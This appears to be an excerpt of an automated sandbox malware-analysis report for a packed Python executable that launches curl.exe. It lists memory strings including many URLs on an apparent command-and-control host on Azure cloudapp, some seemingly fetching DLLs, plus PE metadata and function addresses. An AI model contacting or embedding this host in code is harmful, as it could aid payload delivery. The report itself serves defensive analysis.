Source: curl.exe, 0000001D.00000002.2509049134.0000020D856D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=8351803
Source: curl.exe, 00000013.00000002.2196917776.0000027F4B1C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180A
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180Bi
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180E&
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180K=
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180L=
Source: curl.exe, 00000020.00000002.2614033596.00000268D07A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180P2
Source: curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180P2l
Source: curl.exe, 00000019.00000002.2405619133.0000017D4E417000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180PZ
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180Q&
Source: curl.exe, 00000029.00000002.2934470574.0000019D78D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180Q2
Source: curl.exe, 00000029.00000002.2934470574.0000019D78D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180V2R
Source: curl.exe, 00000023.00000003.2717943243.0000026064D46000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2717378662.0000026064D43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180XZ
Source: curl.exe, 00000026.00000002.2825899074.000002913BBA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180YD
Source: curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180Z2f
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180_&
Source: curl.exe, 00000019.00000002.2405619133.0000017D4E417000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180cZ
Source: curl.exe, 00000007.00000002.1882730514.000001DC607C9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091103305.0000023561B56000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000002.2196917776.0000027F4B1C4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000020.00000002.2614033596.00000268D07A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dll
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dll(=j
Source: curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091103305.0000023561B56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dllL_
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dllMe-
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dllT&
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dlld=V
Source: curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180dlly3
Source: curl.exe, 00000029.00000002.2934470574.0000019D78D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180g2C
Source: curl.exe, 00000023.00000003.2717943243.0000026064D46000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2717378662.0000026064D43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180i
Source: curl.exe, 00000019.00000002.2405619133.0000017D4E417000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180iZ
Source: curl.exe, 00000007.00000002.1882730514.000001DC607C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180l
Source: curl.exe, 00000023.00000003.2717943243.0000026064D46000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2717378662.0000026064D43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180lAZ
Source: curl.exe, 00000023.00000003.2717943243.0000026064D46000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2717378662.0000026064D43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180ooth
Source: curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180s&
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180ud
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180x=
Source: file.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: file.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: file.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: file.exe, 00000001.00000002.3015474672.00000246247D8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: file.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: file.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: file.exe, 00000001.00000002.3015867806.0000024624D20000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.drString found in binary or memory: https://peps.python.org/pep-0205/
Source: file.exe, 00000001.00000002.3017300090.00007FFDFB4CC000.00000002.00000001.01000000.00000005.sdmp, python311.dll.0.drString found in binary or memory: https://peps.python.org/pep-0263/
Source: libcrypto-1_1.dll.0.drString found in binary or memory: https://www.openssl.org/H
Source: file.exe, 00000001.00000003.1762993421.0000024624C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015474672.0000024624750000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1762436129.0000024624C66000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.drString found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: file.exe, 00000001.00000002.3017506352.00007FFDFB569000.00000004.00000001.01000000.00000005.sdmp, python311.dll.0.drString found in binary or memory: https://www.python.org/psf/license/
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D5C740_2_00007FF6399D5C74
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B10000_2_00007FF6399B1000
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B8B200_2_00007FF6399B8B20
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C0A600_2_00007FF6399C0A60
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D8A380_2_00007FF6399D8A38
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C7AAC0_2_00007FF6399C7AAC
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C12800_2_00007FF6399C1280
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399CD2000_2_00007FF6399CD200
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C91B00_2_00007FF6399C91B0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D518C0_2_00007FF6399D518C
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C2CC40_2_00007FF6399C2CC4
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C0C640_2_00007FF6399C0C64
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C14840_2_00007FF6399C1484
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399CFBD80_2_00007FF6399CFBD8
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C73F40_2_00007FF6399C73F4
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D33BC0_2_00007FF6399D33BC
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D0B840_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D2F200_2_00007FF6399D2F20
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C1F300_2_00007FF6399C1F30
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399CFBD80_2_00007FF6399CFBD8
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D57280_2_00007FF6399D5728
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D4F100_2_00007FF6399D4F10
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C0E700_2_00007FF6399C0E70
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B95FB0_2_00007FF6399B95FB
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399CCD6C0_2_00007FF6399CCD6C
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C28C00_2_00007FF6399C28C0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C10740_2_00007FF6399C1074
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C50400_2_00007FF6399C5040
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399CD8800_2_00007FF6399CD880
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B9FCD0_2_00007FF6399B9FCD
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B979B0_2_00007FF6399B979B
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D5C741_2_00007FF6399D5C74
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D4F101_2_00007FF6399D4F10
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B95FB1_2_00007FF6399B95FB
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B10001_2_00007FF6399B1000
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B8B201_2_00007FF6399B8B20
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C0A601_2_00007FF6399C0A60
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D8A381_2_00007FF6399D8A38
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C7AAC1_2_00007FF6399C7AAC
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C12801_2_00007FF6399C1280
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399CD2001_2_00007FF6399CD200
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C91B01_2_00007FF6399C91B0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D518C1_2_00007FF6399D518C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C2CC41_2_00007FF6399C2CC4
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C0C641_2_00007FF6399C0C64
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C14841_2_00007FF6399C1484
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399CFBD81_2_00007FF6399CFBD8
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C73F41_2_00007FF6399C73F4
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D33BC1_2_00007FF6399D33BC
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D0B841_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D2F201_2_00007FF6399D2F20
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C1F301_2_00007FF6399C1F30
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399CFBD81_2_00007FF6399CFBD8
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D57281_2_00007FF6399D5728
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C0E701_2_00007FF6399C0E70
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399CCD6C1_2_00007FF6399CCD6C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C28C01_2_00007FF6399C28C0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C10741_2_00007FF6399C1074
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C50401_2_00007FF6399C5040
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399CD8801_2_00007FF6399CD880
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B9FCD1_2_00007FF6399B9FCD
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B979B1_2_00007FF6399B979B
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF163F701_2_00007FFDFF163F70
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15FFC41_2_00007FFDFF15FFC4
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF168FC81_2_00007FFDFF168FC8
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1C1E941_2_00007FFDFF1C1E94
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CCE781_2_00007FFDFF1CCE78
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF155E2A1_2_00007FFDFF155E2A
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF177B1C1_2_00007FFDFF177B1C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF170AFA1_2_00007FFDFF170AFA
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF167B401_2_00007FFDFF167B40
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF206B2C1_2_00007FFDFF206B2C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1549C41_2_00007FFDFF1549C4
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF164A181_2_00007FFDFF164A18
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15F8901_2_00007FFDFF15F890
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15C8201_2_00007FFDFF15C820
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF17A7001_2_00007FFDFF17A700
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1697201_2_00007FFDFF169720
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF17173B1_2_00007FFDFF17173B
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF16B5D01_2_00007FFDFF16B5D0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1585EA1_2_00007FFDFF1585EA
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15C4C91_2_00007FFDFF15C4C9
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1834D01_2_00007FFDFF1834D0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1714A41_2_00007FFDFF1714A4
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15D4A01_2_00007FFDFF15D4A0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF16A4A81_2_00007FFDFF16A4A8
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF16D5001_2_00007FFDFF16D500
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1775501_2_00007FFDFF177550
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1ED5201_2_00007FFDFF1ED520
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1684101_2_00007FFDFF168410
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1604501_2_00007FFDFF160450
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1972881_2_00007FFDFF197288
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15C2901_2_00007FFDFF15C290
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1693491_2_00007FFDFF169349
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1760AA1_2_00007FFDFF1760AA
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE146310601_2_00007FFE14631060
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE1A4977781_2_00007FFE1A497778
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE1A4996201_2_00007FFE1A499620
Source: C:\Users\user\Desktop\file.exeCode function: String function: 00007FF6399B25F0 appears 100 times
Source: C:\Users\user\Desktop\file.exeCode function: String function: 00007FF6399B2760 appears 36 times
Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: api-ms-win-core-processenvironment-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-fibers-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: file.exe, 00000000.00000003.1752494159.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751234279.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1748229034.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000000.00000003.1749812781.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1754116826.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1752138241.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1749509984.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1750492184.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
Source: file.exe, 00000000.00000003.1751564708.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs file.exe
